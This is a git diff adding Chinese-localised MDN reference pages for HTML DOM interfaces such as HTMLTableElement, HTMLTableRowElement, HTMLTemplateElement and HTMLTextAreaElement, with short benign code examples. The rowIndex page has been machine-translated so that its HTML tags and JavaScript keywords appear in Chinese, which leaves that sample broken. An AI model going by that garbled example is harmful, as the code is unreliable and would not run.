另请参阅

+ + + +
 
diff --git a/files/zh-cn/web/api/htmlstyleelement/index.html b/files/zh-cn/web/api/htmlstyleelement/index.html new file mode 100644 index 0000000000..c54eaee1e2 --- /dev/null +++ b/files/zh-cn/web/api/htmlstyleelement/index.html @@ -0,0 +1,90 @@ +--- +title: HTMLStyleElement +slug: Web/API/HTMLStyleElement +tags: + - API + - HTML DOM + - HTMLStyleElement + - Reference +translation_of: Web/API/HTMLStyleElement +--- +
+
{{APIRef("HTML DOM")}}
+
+ +

HTMLStyleElement 接口表示 {{HTMLElement("style")}} 元素。它从 {{domxref("HTMLElement")}} 和 {{domxref("LinkStyle")}} 中继承属性和方法。

+ +

这个接口不允许修改包含其中的CSS(大多数情况下)。如果需要修改CSS,前往关于使用动态样式的信息查看在DOM中用于修改特定CSS属性的对象。

+ +

{{InheritanceDiagram(600, 120)}}

+ +

属性

+ +

Inherits properties from its parent, {{domxref("HTMLElement")}}, and implements {{domxref("LinkStyle")}}.

+ +
+
{{domxref("HTMLStyleElement.media")}}
+
Is a {{domxref("DOMString")}} representing the intended destination medium for style information.
+
{{domxref("HTMLStyleElement.type")}}
+
Is a {{domxref("DOMString")}} representing the type of style being applied by this statement.
+
{{domxref("HTMLStyleElement.disabled")}}
+
Is a {{domxref("Boolean")}} value representing whether or not the stylesheet is disabled (true) or not (false).
+
{{domxref("LinkStyle.sheet")}} {{readonlyInline}}
+
Returns the {{domxref("StyleSheet")}} object associated with the given element, or null if there is none
+
{{domxref("HTMLStyleElement.scoped")}} {{non-standard_inline}} {{obsolete_inline}}
+
Is a {{domxref("Boolean")}} value indicating if the element applies to the whole document (false) or only to the parent's sub-tree (true).
+
+ +

方法

+ +

No specific method; inherits properties from its parent, {{domxref("HTMLElement")}}, and {{domxref("LinkStyle")}}.

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('HTML WHATWG', "#htmlstyleelement", "HTMLStyleElement")}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5.1', "document-metadata.html#the-style-element", "HTMLStyleElement")}}{{Spec2('HTML5.1')}}
{{SpecName('HTML5 W3C', "document-metadata.html#the-style-element", "HTMLStyleElement")}}{{Spec2('HTML5 W3C')}}The following property has been added: scoped.
{{SpecName('DOM2 HTML', 'html.html#ID-16428977', 'HTMLStyleElement')}}{{Spec2('DOM2 HTML')}}Added a second inheritence, the {{domxref("LinkStyle")}} interface.
{{SpecName('DOM1', 'level-one-html.html#ID-16428977', 'HTMLStyleElement')}}{{Spec2('DOM1')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.HTMLStyleElement")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/htmltableelement/createcaption/index.html b/files/zh-cn/web/api/htmltableelement/createcaption/index.html new file mode 100644 index 0000000000..86aa3ab21b --- /dev/null +++ b/files/zh-cn/web/api/htmltableelement/createcaption/index.html @@ -0,0 +1,26 @@ +--- +title: HTMLTableElement.createCaption() +slug: Web/API/HTMLTableElement/createCaption +translation_of: Web/API/HTMLTableElement/createCaption +--- +
+
+
{{APIRef("HTML DOM")}}
+
+
+ +

这个 HTMLTableElement.createCaption() 方法返回这个 table 元素的 caption(HTMLTableCaptionElement). 如果这个 table 没有 caption,这个方法创建并返回 caption.

+ +

语法

+ +
HTMLTableCaptionElement = table.createCaption()
+ +

示例

+ +
mycap = mytable.createCaption();
+ +

Specification

+ + diff --git a/files/zh-cn/web/api/htmltableelement/deletethead/index.html b/files/zh-cn/web/api/htmltableelement/deletethead/index.html new file mode 100644 index 0000000000..bd9b5bf6ef --- /dev/null +++ b/files/zh-cn/web/api/htmltableelement/deletethead/index.html @@ -0,0 +1,63 @@ +--- +title: HTMLTableElement.deleteTHead() +slug: Web/API/HTMLTableElement/deleteTHead +tags: + - API + - table + - 参考 +translation_of: Web/API/HTMLTableElement/deleteTHead +--- +
{{APIRef("HTML DOM")}}
+ +

HTMLTableElement.deleteTHead() 方法删除指定 {{HtmlElement("table")}} 的 {{HTMLElement("thead")}} 元素。

+ +

语法

+ +
HTMLTableElement.deleteTHead();
+
+ +

例子

+ +

本示例使用 JavaScript 删除表格的头部。

+ +

HTML

+ +
<table>
+  <thead><th>Name</th><th>Occupation</th></thead>
+  <tr><td>Bob</td><td>Plumber</td></tr>
+  <tr><td>Jim</td><td>Roofer</td></tr>
+</table>
+ +

JavaScript

+ +
let table = document.querySelector('table');
+table.deleteTHead();
+ +

结果

+ +

{{EmbedLiveSample("Example")}}

+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', '#dom-table-deletethead', 'HTMLTableElement: deleteTHead')}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.HTMLTableElement.deleteTHead")}}

diff --git a/files/zh-cn/web/api/htmltableelement/index.html b/files/zh-cn/web/api/htmltableelement/index.html new file mode 100644 index 0000000000..a4c1f7ee7e --- /dev/null +++ b/files/zh-cn/web/api/htmltableelement/index.html @@ -0,0 +1,130 @@ +--- +title: HTMLTableElement +slug: Web/API/HTMLTableElement +tags: + - API + - DOM + - Interface + - Reference +translation_of: Web/API/HTMLTableElement +--- +

{{APIRef("HTML DOM")}}

+ +

HTMLTableElement 接口在常用的 {{DOMxRef("HTMLElement")}} 接口的基础上,提供了专门的属性和方法来处理 HTML 文档中表格的布局与展示。通过继承,它也可以访问父接口 {{DOMxRef("HTMLElement")}} 中的成员。

+ +

{{InheritanceDiagram(600, 120)}}

+ +

属性

+ +

继承自父接口,{{DOMxRef("HTMLElement")}}。

+ +
+
{{DOMxRef("HTMLTableElement.caption")}}
+
这是一个 {{DOMxRef("HTMLTableCaptionElement")}} ,表示作为子元素中的第一个 {{HTMLElement("caption")}} ,如果找不到则为 null。当设置此属性时,如果给出的对象不是一个 <caption>,一个带有 HierarchyRequestError 名字的异常 {{DOMxRef("DOMException")}} 会被抛出。如果设置了正确的对象,它会被作为第一个子元素插入DOM树中,同时子元素中的第一个 <caption> 会被移除,如果存在的话。
+
{{DOMxRef("HTMLTableElement.tHead")}}
+
这是一个 {{DOMxRef("HTMLTableSectionElement")}},表示子元素中的第一个 {{HTMLElement("thead")}},如果找不到则为 null 。当设置此属性时,如果给出的对象不是一个 <thead>, 一个带有 HierarchyRequestError 名字的异常 {{DOMxRef("DOMException")}} 会被抛出。如果设置了正确的对象,它会被立即插入到DOM树中既不是 {{HTMLElement("caption")}} 也不是 {{HTMLElement("colgroup")}} 的第一个元素之前,或者直接被作为最后一个元素插入(如果找不到上述元素的话),同时子元素中的第一个 <thead> 会被移除,如果存在的话。
+
{{DOMxRef("HTMLTableElement.tFoot")}}
+
这是一个 {{DOMxRef("HTMLTableSectionElement")}}, 表示子元素中的第一个 {{HTMLElement("tfoot")}},如果找不到则为 null。当设置此属性时,如果给出的对象不是一个 <tfoot>,一个带有 HierarchyRequestError 名字的异常 {{DOMxRef("DOMException")}} 会被抛出。如果设置了正确的对象,它会被立即插入到DOM树中既不是 {{HTMLElement("caption")}}、{{HTMLElement("colgroup")}} 也不是 {{HTMLElement("thead")}} 的第一个元素之前,或者直接被作为最后一个元素插入(如果找不到上述元素的话),同时子元素中的第一个 <tfoot> 会被移除,如果存在的话。
+
{{DOMxRef("HTMLTableElement.rows")}}{{ReadOnlyInline}}
+
返回一个实时的 {{DOMxRef("HTMLCollection")}},它包含元素中的所有行,也就是子元素中的所有 {{HTMLElement("tr")}},或者是 {{HTMLElement("thead")}}、{{HTMLElement("tbody")}} 和 {{HTMLElement("tfoot")}} 三者子元素中的其中一个子元素。<thead> 中的行会按照DOM树的顺序出现在首位,<tbody> 中的行出现在末位,也会按照DOM树的顺序。HTMLCollection 对象是实时的,当 HTMLTableElement 发生变化时会自动更新。
+
{{DOMxRef("HTMLTableElement.tBodies")}}{{ReadOnlyInline}}
+
返回一个实时的 {{DOMxRef("HTMLCollection")}},它包含元素中所有的 {{HTMLElement("tbody")}}。HTMLCollection 对象是实时的,当 HTMLTableElement 发生变化时会自动更新。
+
+ +

过时的属性

+ +
+

警告:以下属性已经过时,应当避免使用它们。

+
+ +
+
+
{{DOMxRef("HTMLTableElement.align")}} {{Obsolete_Inline}}
+
Is a {{DOMxRef("DOMString")}} containing an enumerated value reflecting the {{HTMLAttrxRef("align", "table")}} attribute. It indicates the alignment of the element's contents with respect to the surrounding context. The possible values are "left", "right", and "center".
+
{{DOMxRef("HTMLTableElement.bgColor")}} {{Obsolete_Inline}}
+
Is a {{DOMxRef("DOMString")}} containing the background color of the cells. It reflects the obsolete {{HTMLAttrxRef("bgColor", "table")}} attribute.
+
{{DOMxRef("HTMLTableElement.border")}} {{Obsolete_Inline}}
+
Is a {{DOMxRef("DOMString")}} containing the width in pixels of the border of the table. It reflects the obsolete {{HTMLAttrxRef("border", "table")}} attribute.
+
{{DOMxRef("HTMLTableElement.cellPadding")}} {{Obsolete_Inline}}
+
Is a {{DOMxRef("DOMString")}} containing the width in pixels of the horizontal and vertical sapce between cell content and cell borders. It reflects the obsolete {{HTMLAttrxRef("cellpadding", "table")}} attribute.
+
{{DOMxRef("HTMLTableElement.cellSpacing")}} {{Obsolete_Inline}}
+
Is a {{DOMxRef("DOMString")}} containing the width in pixels of the horizontal and vertical separation between cells. It reflects the obsolete {{HTMLAttrxRef("cellspacing", "table")}} attribute.
+
{{DOMxRef("HTMLTableElement.frame")}} {{Obsolete_Inline}}
+
Is a {{DOMxRef("DOMString")}} containing the type of the external borders of the table. It reflects the obsolete {{HTMLAttrxRef("frame", "table")}} attribute and can take one of the following values: "void", "above", "below", "hsides", "vsides", "lhs", "rhs", "box", or "border".
+
{{DOMxRef("HTMLTableElement.rules")}} {{Obsolete_Inline}}
+
Is a {{DOMxRef("DOMString")}} containing the type of the internal borders of the table. It reflects the obsolete {{HTMLAttrxRef("rules", "table")}} attribute and can take one of the following values: "none", "groups", "rows", "cols", or "all".
+
{{DOMxRef("HTMLTableElement.summary")}} {{Obsolete_Inline}}
+
Is a {{DOMxRef("DOMString")}} containing a description of the purpose or the structure of the table. It reflects the obsolete {{HTMLAttrxRef("summary", "table")}} attribute.
+
{{DOMxRef("HTMLTableElement.width")}} {{Obsolete_Inline}}
+
Is a {{DOMxRef("DOMString")}} containing the length in pixels or in percentage of the desired width fo the entire table. It reflects the obsolete {{HTMLAttrxRef("width", "table")}} attribute.
+
+
+ +

方法

+ +

继承自父接口,{{DOMxRef("HTMLElement")}}

+ +
+
{{DOMxRef("HTMLTableElement.createTHead()")}}
+
返回一个 {{DOMxRef("HTMLElement")}},表示子元素中的第一个 {{HTMLElement("thead")}}。如果找不到,则创建一个新的并且立即插入到DOM树中既不是 {{HTMLElement("caption")}} 也不是 {{HTMLElement("colgroup")}} 的第一个元素之前,或者直接被作为最后一个元素插入(如果找不到上述元素的话)。
+
{{DOMxRef("HTMLTableElement.deleteTHead()")}}
+
移除子元素中的第一个 {{HTMLElement("thead")}}。
+
{{DOMxRef("HTMLTableElement.createTFoot()")}}
+
返回一个 {{DOMxRef("HTMLElement")}},表示子元素中的第一个 {{HTMLElement("tfoot")}}。如果找不到,则创建一个新的并且立即插入到DOM树中既不是 {{HTMLElement("caption")}}、{{HTMLElement("colgroup")}} 也不是 {{HTMLElement("thead")}} 的第一个元素之前,或者直接被作为最后一个元素插入(如果找不到上述元素的话)。
+
{{DOMxRef("HTMLTableElement.deleteTFoot()")}}
+
移除子元素中的第一个 {{HTMLElement("tfoot")}}。
+
{{DOMxRef("HTMLTableElement.createCaption()")}}
+
返回一个 {{DOMxRef("HTMLElement")}},表示子元素中的第一个 {{HTMLElement("caption")}}。 如果找不到,则创建一个新的并且插入到DOM树中作为 {{HTMLElement("table")}} 的第一个子元素。
+
{{DOMxRef("HTMLTableElement.deleteCaption()")}}
+
移除子元素中的第一个 {{HTMLElement("caption")}}。
+
{{DOMxRef("HTMLTableElement.insertRow()")}}
+
返回一个 {{DOMxRef("HTMLTableRowElement")}},表示表格中的一个新行。它会被立即插入到行集合中给定 index 位置所表示的 {{HTMLElement("tr")}} 元素之前。如果有必要一个 {{HTMLElement("tbody")}} 会被创建。如果 index 值为 -1, 这个新行会被追加到集合中。如果 index 值小于 -1 或者大于集合中的行总数,一个带有 IndexSizeError 值的异常 {{DOMxRef("DOMException")}} 会发生。
+
{{DOMxRef("HTMLTableElement.deleteRow()")}}
+
移除与参数中给定 index 值相关的行。如果 index 值为 -1,最后一行会被移除;如果 index 值小于 -1 或者大于集合中的行总数,一个带有 IndexSizeError 值的异常 {{DOMxRef("DOMException")}} 会发生。
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', "#htmltableelement", "HTMLTableElement")}}{{Spec2('HTML WHATWG')}}添加了 sortable 属性和 stopSorting() 方法。
{{SpecName('HTML5 W3C', "tabular-data.html#the-table-element", "HTMLTableElement")}}{{Spec2('HTML5 W3C')}}添加了 createTBody() 方法。
{{SpecName('DOM2 HTML', 'html.html#ID-64060425', 'HTMLTableElement')}}{{Spec2('DOM2 HTML')}}规定了当 captiontHeadtFootinsertRow()deleteRow() 发生异常时。
{{SpecName('DOM1', 'level-one-html.html#ID-64060425', 'HTMLTableElement')}}{{Spec2('DOM1')}}初始定义。
+ +

浏览器兼容性

+ + + +

{{Compat("api.HTMLTableElement")}}

+ +

另请参阅

+ + diff --git a/files/zh-cn/web/api/htmltableelement/rows/index.html b/files/zh-cn/web/api/htmltableelement/rows/index.html new file mode 100644 index 0000000000..af8619af5e --- /dev/null +++ b/files/zh-cn/web/api/htmltableelement/rows/index.html @@ -0,0 +1,37 @@ +--- +title: HTMLTableElement.rows +slug: Web/API/HTMLTableElement/rows +tags: + - HTML Table Element + - HTMLTableElement.cells + - HTMLTableElement.rows +translation_of: Web/API/HTMLTableElement/rows +--- +
+
+
{{APIRef("HTML DOM")}}
+ +
表中所有行的
+
+
+ +

HTMLTableElement.rows 只读属性返回表中所有行的一个活的 {{domxref("HTMLCollection")}}。HTMLTableElement.rows 包括与之相关的{{HTMLElement("thead")}}, {{HTMLElement("tfoot")}} 和 {{HTMLElement("tbody")}} 元素.

+ +

Although the property is read-only, the returned object is live and allows the modification of its content.

+ +

Syntax

+ +
HTMLCollectionObject = table.rows
+ +

Example

+ +
myrows = mytable.rows;
+firstRow = mytable.rows[0];
+lastRow = mytable.rows[mytable.rows.length-1];
+ +

Specification

+ + diff --git a/files/zh-cn/web/api/htmltablerowelement/index.html b/files/zh-cn/web/api/htmltablerowelement/index.html new file mode 100644 index 0000000000..c3d6c0c645 --- /dev/null +++ b/files/zh-cn/web/api/htmltablerowelement/index.html @@ -0,0 +1,100 @@ +--- +title: HTMLTableRowElement +slug: Web/API/HTMLTableRowElement +tags: + - API + - HTML DOM + - Interface + - NeedsTranslation + - Reference + - TopicStub +translation_of: Web/API/HTMLTableRowElement +--- +
{{ APIRef("HTML DOM") }}
+ +

The HTMLTableRowElement interface provides special properties and methods (beyond the {{domxref("HTMLElement")}} interface it also has available to it by inheritance) for manipulating the layout and presentation of rows in an HTML table.

+ +

{{InheritanceDiagram(600, 120)}}

+ +

Properties

+ +

Inherits properties from its parent, {{domxref("HTMLElement")}}.

+ +
+
{{domxref("HTMLTableRowElement.align")}} {{obsolete_inline}}
+
Is a {{domxref("DOMString")}} containing an enumerated value reflecting the {{htmlattrxref("align", "tr")}} attribute. It indicates the alignment of the element's contents with respect to the surrounding context. The possible values are "left", "right", and "center".
+
{{domxref("HTMLTableRowElement.bgColor")}} {{obsolete_inline}}
+
Is a {{domxref("DOMString")}} containing the background color of the cells. It reflects the obsolete {{htmlattrxref("bgColor", "tr")}} attribute.
+
{{domxref("HTMLTableRowElement.cells")}} {{readonlyInline}}
+
Returns a live {{domxref("HTMLCollection")}} containing the cells in the row. The HTMLCollection is live and is automatically updated when cells are added or removed.
+
{{domxref("HTMLTableRowElement.ch")}} {{obsolete_inline}}
+
Is a {{domxref("DOMString")}} containing one single character. This character is the one to align all the cell of a column on. It reflects the {{htmlattrxref("char", "tr")}} and default to the decimal points associated with the language, e.g. '.' for English, or ',' for French. This property was optional and was not very well supported.
+
{{domxref("HTMLTableRowElement.chOff")}} {{obsolete_inline}}
+
Is a {{domxref("DOMString")}} containing a integer indicating how many characters must be left at the right (for left-to-right scripts; or at the left for right-to-left scripts) of the character defined by HTMLTableRowElement.ch. This property was optional and was not very well supported.
+
{{domxref("HTMLTableRowElement.rowIndex")}} {{readonlyInline}}
+
Returns a long value which gives the logical position of the row within the entire table. If the row is not part of a table, returns -1.
+
{{domxref("HTMLTableRowElement.sectionRowIndex")}} {{readonlyInline}}
+
Returns a long value which gives the logical position of the row within the table section it belongs to. If the row is not part of a section, returns -1.
+
{{domxref("HTMLTableRowElement.vAlign")}} {{obsolete_inline}}
+
Is a {{domxref("DOMString")}} representing an enumerated value indicating how the content of the cell must be vertically aligned. It reflects the {{htmlattrxref("valign", "tr")}} attribute and can have one of the following values: "top", "middle", "bottom", or "baseline".
+
+ +

Methods

+ +

Inherits methods from its parent, {{domxref("HTMLElement")}}.

+ +
+
{{domxref("HTMLTableRowElement.deleteCell()")}}
+
Removes the cell at the given position in the row. If the given position is greater (or equal as it starts at zero) than the amount of cells in the row, or is smaller than 0, it raises a {{domxref("DOMException")}} with the IndexSizeError value.
+
{{domxref("HTMLTableRowElement.insertCell()")}}
+
Inserts a new cell just before the given position in the row. If the given position is not given or is -1, it appends the cell to the row. If the given position is greater (or equal as it starts at zero) than the amount of cells in the row, or is smaller than -1, it raises a {{domxref("DOMException")}} with the IndexSizeError value. Returns a reference to a HTMLTableCellElement [en-US].
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "#htmltablerowelement", "HTMLTableRowElement")}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML5 W3C', "tabular-data.html#the-tr-element", "HTMLTableRowElement")}}{{Spec2('HTML5 W3C')}}The parameter of insertCell is now optional and default to -1.
{{SpecName('DOM2 HTML', 'html.html#ID-6986576', 'HTMLTableRowElement')}}{{Spec2('DOM2 HTML')}}The cells, rowIndex, and selectionRowIndex properties are now read-only.
+ The methods insertCell and deleteCell can raise exceptions.
{{SpecName('DOM1', 'level-one-html.html#ID-6986576', 'HTMLTableRowElement')}}{{Spec2('DOM1')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.HTMLTableRowElement")}}

+ +

See also

+ + + +
+
 
+
diff --git a/files/zh-cn/web/api/htmltablerowelement/rowindex/index.html b/files/zh-cn/web/api/htmltablerowelement/rowindex/index.html new file mode 100644 index 0000000000..03e5ed41b7 --- /dev/null +++ b/files/zh-cn/web/api/htmltablerowelement/rowindex/index.html @@ -0,0 +1,58 @@ +--- +title: HTMLTableRowElement.rowIndex +slug: Web/API/HTMLTableRowElement/rowIndex +translation_of: Web/API/HTMLTableRowElement/rowIndex +--- +
{{APIRef(“ HTML DOM”)}}
+ +

HTMLTableRowElement.rowIndex只读属性表示一个行相对于整个位置{{的HtmlElement(“表”)}}。

+ +

即使{{HtmlElement(“ thead”)}},{{HtmlElement(“ tbody”)}}和{{HtmlElement(“ tfoot”)}}}的元素在HTML中乱序显示,浏览器也会以正确的顺序。因此,行数从<thead><tbody>,从<tbody><tfoot>

+ +

句法

+ +
var index = HTMLTableRowElement .rowIndex
+ +

+ +

返回该行的索引,或者-1如果该行不属于表的一部分,则返回该索引

+ +

+ +

本示例使用JavaScript标记表中的所有行号。

+ +

的HTML

+ +
<表格>
+  <thead>
+    <tr> <th>商品</ th> <th>价格</ th> </ tr>
+  </ thead>
+  <身体>
+    <tr> <td>香蕉</ td> <td> $ 2 </ td> </ tr>
+    <tr> <td>橙色</ td> <td> $ 8 </ td> </ tr>
+    <tr> <td>顶级沙朗</ td> <td> $ 20 </ td> </ tr>
+  </ tbody>
+  <脚>
+    <tr> <td>总计</ td> <td> $ 30 </ td> </ tr>
+  </ tfoot>
+</ table>
+ +

的JavaScript

+ +
让行= document.querySelectorAll('tr');
+
+rows.forEach((row)=> {
+  让z = document.createElement(“ td”);
+  z.textContent =`(row#$ {row.rowIndex})`;
+  row.appendChild(z);
+});
+ +

结果

+ +

{{EmbedLiveSample(“ Example”)}}

+ +

浏览器兼容性

+ + + +

{{Compat(“ api.HTMLTableRowElement.rowIndex”)}}

diff --git a/files/zh-cn/web/api/htmltemplateelement/content/index.html b/files/zh-cn/web/api/htmltemplateelement/content/index.html new file mode 100644 index 0000000000..bdcb073b7c --- /dev/null +++ b/files/zh-cn/web/api/htmltemplateelement/content/index.html @@ -0,0 +1,51 @@ +--- +title: HTMLTemplateElement.content +slug: Web/API/HTMLTemplateElement/content +translation_of: Web/API/HTMLTemplateElement/content +--- +
{{APIRef("Web Components")}}
+ +

The HTMLTemplateElement.content属性返回<template>元素的模板内容(一个 {{domxref("DocumentFragment")}}).

+ +

语法

+ +
var documentFragment = templateElement.content
+ +

示例

+ +
var templateElement = document.querySelector("#foo");
+var documentFragment = templateElement.content.cloneNode(true);
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG','scripting.html#dom-template-content','HTMLTemplateElement interface')}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5 W3C','scripting-1.html#dom-template-content','HTMLTemplateElement interface')}}{{Spec2('HTML5 W3C')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.HTMLTemplateElement.content")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/htmltemplateelement/index.html b/files/zh-cn/web/api/htmltemplateelement/index.html new file mode 100644 index 0000000000..4a5f41718f --- /dev/null +++ b/files/zh-cn/web/api/htmltemplateelement/index.html @@ -0,0 +1,51 @@ +--- +title: HTMLTemplateElement +slug: Web/API/HTMLTemplateElement +translation_of: Web/API/HTMLTemplateElement +--- +
{{APIRef("Web Components")}}
+ +

可以使用HTMLTemplateElement 接口来访问 HTML {{HTMLElement("template")}}元素的内容。

+ +

{{InheritanceDiagram(600, 120)}}

+ +

属性

+ +

这个接口继承了 {{domxref("HTMLElement")}}的属性

+ +
+
{{domxref("HTMLTemplateElement.content")}}{{readonlyinline}}
+
{{domxref("DocumentFragment")}}对象,包裹了模板元素{{HTMLElement("template")}}的内容。这个属性是只读的DOM树。
+
+ +

Methods

+ +

这个接口继承了 {{domxref("HTMLElement")}}的方法。

+ +

标准

+ + + + + + + + + + + + + + + + + + + +
标准状态备注
{{SpecName('HTML WHATWG','scripting.html#htmltemplateelement','HTMLTemplateElement interface')}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5 W3C','scripting-1.html#htmltemplateelement','HTMLTemplateElement interface')}}{{Spec2('HTML5 W3C')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.HTMLTemplateElement")}}

diff --git a/files/zh-cn/web/api/htmltextareaelement/index.html b/files/zh-cn/web/api/htmltextareaelement/index.html new file mode 100644 index 0000000000..415ada3f89 --- /dev/null +++ b/files/zh-cn/web/api/htmltextareaelement/index.html @@ -0,0 +1,334 @@ +--- +title: HTMLTextAreaElement +slug: Web/API/HTMLTextAreaElement +tags: + - API + - 参考 + - 接口 +translation_of: Web/API/HTMLTextAreaElement +--- +
{{APIRef("HTML DOM")}}
+ +

HTMLTextAreaElement 接口提供了特殊的属性和方法,用于控制 {{HTMLElement("textarea")}} 元素的布局和展示。

+ +

{{InheritanceDiagram(600,120)}}

+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
form {{readonlyInline}}object: 返回一个父表单元素的引用。如果这个元素没有被包含在一个表单元素中,则这个值是页面中任意一个 {{HTMLElement("form")}} 元素的 {{htmlattrxref("id", "form")}} 属性或者 null
type {{readonlyInline}}string: 返回字符串 textarea
valuestring: Returns / Sets the raw value contained in the control.
textLength {{readonlyInline}}long: Returns the codepoint length of the control's value. Same as calling value.length
defaultValuestring: Returns / Sets the control's default value, which behaves like the {{domxref("Node.textContent")}} property.
placeholderstring: 返回/设置元素{{htmlattrxref("placeholder", "textarea")}} 属性, 用于提示用户在组件中应该输入什么。
rowsunsigned long: Returns / Sets the element's {{htmlattrxref("rows", "textarea")}} attribute, indicating the number of visible text lines for the control.
colsunsigned long: Returns / Sets the element's {{htmlattrxref("cols", "textarea")}} attribute, indicating the visible width of the text area.
autofocusboolean: Returns / Sets the element's {{htmlattrxref("autofocus", "textarea")}} attribute, indicating that the control should have input focus when the page loads
namestring: Returns / Sets the element's {{htmlattrxref("name", "textarea")}} attribute, containing the name of the control.
disabledboolean: Returns / Sets the element's {{htmlattrxref("disabled", "textarea")}} attribute, indicating that the control is not available for interaction.
{{domxref("HTMLTextAreaElement.labels")}}{{ReadOnlyInline}}{{domxref("NodeList")}}: Returns a list of label elements associated with this select element.
maxLengthlong: Returns / Sets the element's {{htmlattrxref("maxlength", "textarea")}} attribute, indicating the maximum number of characters the user can enter. This constraint is evaluated only when the value changes.
minLengthlong: Returns / Sets the element's {{htmlattrxref("minlength", "textarea")}} attribute, indicating the minimum number of characters the user can enter. This constraint is evaluated only when the value changes.
accessKeystring: Returns / Sets the element's {{htmlattrxref("accesskey", "textarea")}} attribute.
readOnlyboolean: Returns / Sets the element's {{htmlattrxref("readonly", "textarea")}} attribute, indicating that the user cannot modify the value of the control.
requiredboolean: Returns / Sets the element's {{htmlattrxref("required", "textarea")}} attribute, indicating that the user must specify a value before submitting the form.
tabIndexlong: Returns / Sets the position of the element in the tabbing navigation order for the current document.
selectionStartunsigned long: Returns / Sets the index of the beginning of selected text. If no text is selected, contains the index of the character that follows the input cursor. On being set, the control behaves as if setSelectionRange() had been called with this as the first argument, and selectionEnd as the second argument.
selectionEndunsigned long: Returns / Sets the index of the end of selected text. If no text is selected, contains the index of the character that follows the input cursor. On being set, the control behaves as if setSelectionRange() had been called with this as the second argument, and selectionStart as the first argument.
selectionDirectionstring: Returns / Sets the direction in which selection occurred. This is "forward" if selection was performed in the start-to-end direction of the current locale, or "backward" for the opposite direction. This can also be "none" if the direction is unknown."
validity {{readonlyInline}}{{domxref("ValidityState")}} object: Returns the validity states that this element is in.
willValidate {{readonlyInline}} +

boolean: Returns whether the element is a candidate for constraint validation. false if any conditions bar it from constraint validation, including its readOnly or disabled property is true.

+
validationMessage {{readonlyInline}}string: Returns a localized message that describes the validation constraints that the control does not satisfy (if any). This is the empty string if the control is not a candidate for constraint validation (willValidate is false), or it satisfies its constraints.
autocomplete {{experimental_inline}}
autocapitalize {{experimental_inline}}string: Returns / Sets the element's capitalization behavior for user input. Valid values are: none, off, characters, words, sentences.
inputMode {{experimental_inline}}
wrap {{gecko_minversion_inline("2.0")}}string: Returns / Sets the {{htmlattrxref("wrap", "textarea")}} HTML attribute, indicating how the control wraps text.
+ +

The two properties tabIndex and accessKey are inherited from {{domxref("HTMLElement")}} from HTML5 on, but were defined on HTMLTextAreaElement in DOM Level 2 HTML and earlier specifications.

+ +

方法

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
{{domxref("HTMLElement/blur", "blur()")}}Removes focus from the control; keystrokes will subsequently go nowhere.
{{domxref("HTMLElement/focus", "focus()")}}Gives focus to the control; keystrokes will subsequently go to this element.
{{domxref("HTMLInputElement/select", "select()")}}Selects the contents of the control.
{{domxref("HTMLInputElement/setRangeText", "setRangeText()")}}Replaces a range of text in the element with new text.
{{domxref("HTMLInputElement/setSelectionRange", "setSelectionRange()")}}Selects a range of text in the element (but does not focus it).
checkValidity()Returns false if the button is a candidate for constraint validation, and it does not satisfy its constraints. In this case, it also fires a cancelable invalid event at the control. It returns true if the control is not a candidate for constraint validation, or if it satisfies its constraints.
reportValidity() +

This method reports the problems with the constraints on the element, if any, to the user. If there are problems, it fires a cancelable invalid event at the element, and returns false; if there are no problems, it returns true.

+
setCustomValidity(DOMstring)Sets a custom validity message for the element. If this message is not the empty string, then the element is suffering from a custom validity error, and does not validate.
+ +

The two methods blur() and focus() are inherited from {{domxref("HTMLElement")}} from HTML5 on, but were defined on HTMLTextAreaElement in DOM Level 2 HTML and earlier specifications.

+ +

事件

+ +

Listen to these events using addEventListener() or by assigning an event listener to the oneventname property of this interface:

+ +
+
input event
+
Fires when the value of an {{HTMLElement("input")}}, {{HTMLElement("select")}}, or {{HTMLElement("textarea")}} element has been changed.
+
+ +

示例

+ +

Autogrowing textarea example

+ +

Make a textarea autogrow while typing:

+ +

JavaScript function:

+ +
function autoGrow (oField) {
+  if (oField.scrollHeight > oField.clientHeight) {
+    oField.style.height = oField.scrollHeight + "px";
+  }
+}
+ +

CSS:

+ +
textarea.noscrollbars {
+  overflow: hidden;
+  width: 300px;
+  height: 100px;
+}
+ +

HTML:

+ +
<form>
+  <fieldset>
+    <legend>Your comments</legend>
+    <p><textarea class="noscrollbars" onkeyup="autoGrow(this);"></textarea></p>
+    <p><input type="submit" value="Send" /></p>
+  </fieldset>
+</form>
+
+ +

{{EmbedLiveSample('Autogrowing_textarea_example', 600, 300)}}

+ +

Insert HTML tags example

+ +

Insert some HTML tags or smiles or any custom text in a textarea.
+ JavaScript function:

+ +
function insertMetachars(sStartTag, sEndTag) {
+  var bDouble = arguments.length > 1, oMsgInput = document.myForm.myTxtArea, nSelStart = oMsgInput.selectionStart, nSelEnd = oMsgInput.selectionEnd, sOldText = oMsgInput.value;
